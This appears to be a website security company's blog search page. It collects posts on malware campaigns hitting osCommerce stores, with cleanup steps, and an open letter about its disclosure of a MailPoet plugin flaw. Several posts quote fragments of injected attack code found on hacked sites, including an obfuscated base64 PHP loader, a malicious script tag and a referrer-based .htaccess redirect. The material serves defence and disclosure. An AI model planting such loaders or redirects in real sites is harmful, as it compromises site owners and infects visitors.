Search Results for: oscommerce

Non-Stop Attacks Against osCommerce – Time to Take Action

The malware attacks against osCommerce sites are still going at full force and the site owners have to take action to secure and update their sites as soon as possible. Think about that, with so many valuable targets (online stores) that are not updated and secured, why would they stop attacking now?

*If you have an osCommerce site, please follow these steps to make sure it doesn’t keep getting hacked. You can also scan it to check if it’s clean: Sucuri SiteCheck

Read More

Attacks against osCommerce sites – Spam / google_analytics_obh

It seems that the attacks against osCommerce are not going to stop any time soon. With so many valuable targets (online stores) that are not updated and secured, why would they?

*If you have an osCommerce site, please follow these steps to make sure it doesn’t keep getting hacked. You can also scan it here to check if it’s clean: Sucuri SiteCheck

After all the latest osCommerce malware (div_colors,, CreateCSS,, etc), we’re seeing an old attack reemerging in full force, and compromising thousands of sites.

The attack is the “__google_analytics_obh” that add hidden links (for Blackhat SEO spam) to the sites. It has been happening for a while, but for the last few days, it just grew in mass scale.

This is what shows up on a compromised site:

Read More

osCommerce malware: Cannot redeclare corelibrarieshandler

We have been posting for a while about attacks targeting and infecting thousands of osCommerce sites (CreateCSS, div_colors, etc) and the importance of keeping it updated and secure.

If you think things have been improving, just for the last few days we started to see many of those osCommerce sites that were hacked, generating errors when trying to access them:

Read More

Continuing attacks against osCommerce:

Busy week for osCommerce in terms of malware. First, the div_colors string, then, the CreateCSS string, and now, we are seeing thousands of osCommerce sites infected with a malware pointing to This is how it looks like in an infected site:

<script type="text/javascript">document.location = "…..tL2FkbWluLw=="

This javascript is generated by the following code added to the bottom of all PHP files in the server:

<?php if(!isset($tf[‘engine’])){$tf[‘engine’]=1;$tf[‘s’]=base64_decode(‘a2hjb2wuY29t’);$tf[‘u’]=’http://’.$tf[‘s’]…

Read More

osCommerce attacks and,, etc

We posted yesterday about a series of attacks against osCommerce sites using some russian domains to push the malware (generally the fake AV). We also posted details on how to fix and secure osCommerce to protect against those:

However, they are not the only ones targeting osCommerce. There is another group using many .in web sites (always registered by Jennifer Hook – that are infecting thousands of sites too.

When they detect an vulnerable site (see previous post by details on that), they drop a backdoor, generally named google*.php that will allow them to manage the site remotely. You can see the full backdoor here (caught by our honeypots):

It is interesting that in addition to give full shell access to the attackers, it also uses to read the list of domains to use in the attack. Currently, these are the ones being used:

Read More

Continuing attacks against osCommerce sites

We are seeing an increase in the number of osCommerce sites hacked lately, and we recommend anyone using it to take precautions to avoid getting hacked and/or reinfected.

On most of the sites we’ve analyzed so far, the attackers used the file_manager.php vulnerability to hack the site.

If you’re using osCommerce, the first thing you have to do is to install the latest version. Second, remove the file_manager.php file and then rename your admin directory to something else: login via FTP or SSH(recommended) to do so

ftp> delete admin/file_manager.php
ftp> rename admin admin-random-folder-name
ftp> cd admin-random-folder-name/includes
ftp> get configure.php

Once you do that, modify your configure.php to point the admin folder to the new location.

Read More

Malware update: (and oscommerce)

Quick malware update: We are seeing many osCommerce sites infected with malware managed by, and a few others. All the domains involved are hosted at

These domains were registered by, which is also involved on other malicious activities (,,,etc).

The infected sites had a large encoded entry added to the file includes/header.php:


Which when decoded, calls to get what malware to present to the end user:

Read More

osCommerce attacks –

We are seeing a very large number of osCommerce sites hacked on the last few days. If you are an osCommerce user, make sure to update it asap and check if to see if it’s been infected (also remove the file_manager.php from the admin directory).

These attacks seems to be using the same vulnerability used in previous attacks (,, etc).

The latest version consists of the following:

1 .htaccess is modified to redirect users to,,, etc (just the first domain infected more than 600 sites according to Google).

This is what the .htaccess looks like:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteRule ^(.*)$ [R=301,L]

2 A backdoor is created inside /js/conf.php and another one at /flops.php. Make sure to remove these and search for other PHP files that are not part of the official osCommerce distribution.

3 Blackhat SEO SPAM is added to includes/application_bottom.php.

All the domains used in this attack are hosted at

This is how our malware scanner detects an infected site:

OsCommerce hacked

OsCommerce hacked

We will post more details as we learn more about it. This link gives some good tips on how to secure osCommerce.

If your site is hacked and you need help, contact us a or

osCommerce users, update your installations as soon as possible

If you are an osCommerce user, please make sure to update your installation (and check your sites) as soon as possible. We have been tracking multiple compromises of osCommerce installations where the attackers added this javascript malware to the affected sites:

< script src = “″ >

This code is used to load malware to unsuspecting visitors of your site. Most of the sites affected also had a few PHP files inserted inside the /images folder, generally called inclasses.php, loadclasses.php or phpclasses.php.

We are still researching how those sites got hacked and which vulnerability was used. It could be this one, or some of the others recently published.

If you have more information let us know.

Responsible Disclosure – Sucuri Open Letter to MailPoet and Future Disclosures

Many don’t know who I am. My name is Tony Perez, I’m the CEO of Sucuri. I have the pleasure of calling this company my family and everyday I work for every person at this company. My partner is Daniel Cid. He is one of the foremost thought leaders in the website security domain, his influence extending far beyond the communities that make up some of the most popular CMS applications today.

Together we are building one of the fastest growing Website Security companies in the domain, we have one simple mission, to create a safer web. We are a technology company built by technologists with a special, quirky, idea that we can make a difference.

Many don’t realize that the bedrock of our business is Research, all facets of research. It’s how we stay ahead of the bad guys, or attackers. It’s a responsibility we have, not just to the general public, but one that we owe to our clients – in basic terms, it’s what they pay us for. It’s how we ensure our tools and technologies stay ahead of the rest and what makes us the ideal solution for every website owner, our commitment to the Website Security domain.

This has come to head recently from the huge debacle over the past few weeks in which we reported a very serious vulnerability in the WordPress MailPoet Plugin (WHYSIJA-NEWSLETTERS). In the coming days the attackers proceeded to identify, then begin to exploit the disclosed vulnerability.

Frankly put, the entire situation was very unfortunate.

Some Background on the Recent MailPoet Issue

Here is a more accurate timeline on the order of events:

  1. 2014, Jun 16: Notified MailPoet of the vulnerability, provided patching recommendations.
  2. 2014, Jun 16: MailPoet team replied and said they were working on a fix.
  3. 2014, Jun 18: Notified Sucuri that they had fixed the bug and would released a patch soon.
  4. 2014, Jul 01: The MailPoet team updated with the new release.
  5. 2014, Jul 07: MetaSploit Module released for the Vulnerability

The total order of events from took 15 days.

Upon release of the blog post the MailPoet team did contact us to express their discontent with our actions, and this was our response in the interest of transparency:

As far as disclosing the vulnerability, this is quite a common practice and the correct way to bring awareness to a security issue. A good example of a perfect security disclosure was done by the Automattic team with JetPack:

As soon as they released a patch, they notified all users and contacted multiple blogs to ask them to urge everyone to upgrade.

I imagine you are worried about brand impact, but every piece of software will have bugs and security issues at some point. It rarely has any brand impact and if you respond properly, it can have the opposite effect and be very good for you plugin and team reputation. The “We had an issue, we fixed and it won’t happen again” type of message that your users would prefer to hear from you than from some external blog.

As for us, we don’t do that for publicity. It is just part of our research and work that we do every day. Even before Sucuri started, we were auditing code and disclosing security issues. Our goal is to be ahead of the bad guys to protect our clients and help the web at a whole.

I leave it for you all, unedited.

Open Letter to MailPoet

As to be expected, the MailPoet team is pretty pissed off as it would be expected. So pissed in fact that they felt compelled to question our intent and whether we shared the same goals, so let’s talk about that for a minute.

Are we sure we are all aiming for an open, safe web in the WordPress community?

In an effort to provide some peace of mind and transparency in our thought process, please read this open letter to MailPoet:

Hi Mailpoet Team

First and foremost, I am sorry for the troubles you have been experiencing as of late.

Second, I did want to take a minute to clarify a few points to avoid speculation:

1 – Let’s start with reasonable time:

MailPoet Post: It’s common practice among software security circles to disclose bugs privately with software companies, then get a reward, credit and the possibility to write about it, given a reasonable amount of time to fix it.

You see, it’s all about a reasonable amount of time.

Responsible disclosure is about time to patch. That is what we provided. We disclosed only after your organization patched and made it publicly available.

Responsible disclosure has nothing to do with providing reasonable time after the patch to wait before disclosing publicly. Especially when you look at how the issue was highlighted, or lack there of in the change log.

Sucuri - MailPoet Security Disclosure

Nothing highlighted the seriousness of the issue, so we did. That’s what we feel is our responsibility. It’s buried and lacks any emphasis, it’s why so many in the security business subscribed to Full Disclosure (i.e.,

This was a very serious vulnerability, one that deserved attention and we did so after it was patched, as is expected and is the norm.

2 – In regards to this:

MailPoet Post: effectively giving no time to users to upgrade their MailPoet version

It’s arguable that the only reason many updated their plugins when the patch was released was because of our public release and our ability to reach 100’s of thousands of WordPress Website owners. We were also able to make contact with hosts, managed host, and development shops.

3 – In regards to this:

MailPoet Post: before posting a detailed technical disclosure

We did not post a detailed technical post. We did not share a Proof of Concept which is actually very standard, we did reference elements that we felt had a greater impact than the ecosystem in which your plugin currently operates. Here is a snippet of the technical description you are alluding too:

Sucuri Post: Because of the nature of the vulnerability, specifically it’s severity, we will not be disclosing additional technical details. The basics of the vulnerability however is something all plugin developers should be mindful of: the vulnerability resides in the fact that the developers assumed that WordPress’s “admin_init” hooks were only called when an administrator user visited a page inside /wp-admin/.

As you know, we also did not disclose any Proof of Concepts. We directed all those requests to your team to handle at your discretion.

4 – I presume this is meant to be a direct attack at us:

MailPoet Post: Are we sure we are all aiming for an open, safe web in the WordPress community?

If I misinterpreted the intent here, please do let me know. You are right though, our ambitions are much larger than the WordPress community, we’re pursuing a safer web we as a whole regardless of platform.

Again, I personally apologize and empathize with the struggles you have endured over the past week or so. Your struggles were not our intent, and not our driving force. Before this incident we had no relationship and had no interest in the space you are in.

That being said, if it ever becomes an issue in the future, for you or any other developer, we will follow the same protocol that we used with MailPoet.

All the Best,

Tony and Daniel

One small note, you mentioned:

There’s a difference between warning users and disclosing a 0 day vulnerability to the entire world on the same day of the bugfix release.

Small point of clarification, Zero Day vulnerabilities are those that are released and have no patch. Your vulnerability was patched, hence not being a Zero Day anymore.

Creating a Safer Web

Yes, in case you’re wondering, this is but the tip of the iceberg for us.

We will be proactively researching security issues across the wide spectrum that is Website Security. From CMS applications like WordPress, Joomla, osCommerce, vBulletin, etc… to web servers like Apache, NGINX, Windows IIS, and more. As stated before, it’s what makes us who we are and the responsibility we have to our clients as well as the wider audience of the web as a whole.

The time to be more proactive in our research and overall contribution to the web is now, not tomorrow or the day after. We stand fast in our convictions and will continue to push forward. Remember our responsibility is not the developers and designers, but the millions of website owners, their websites and their businesses.

All the best,

Tony / Daniel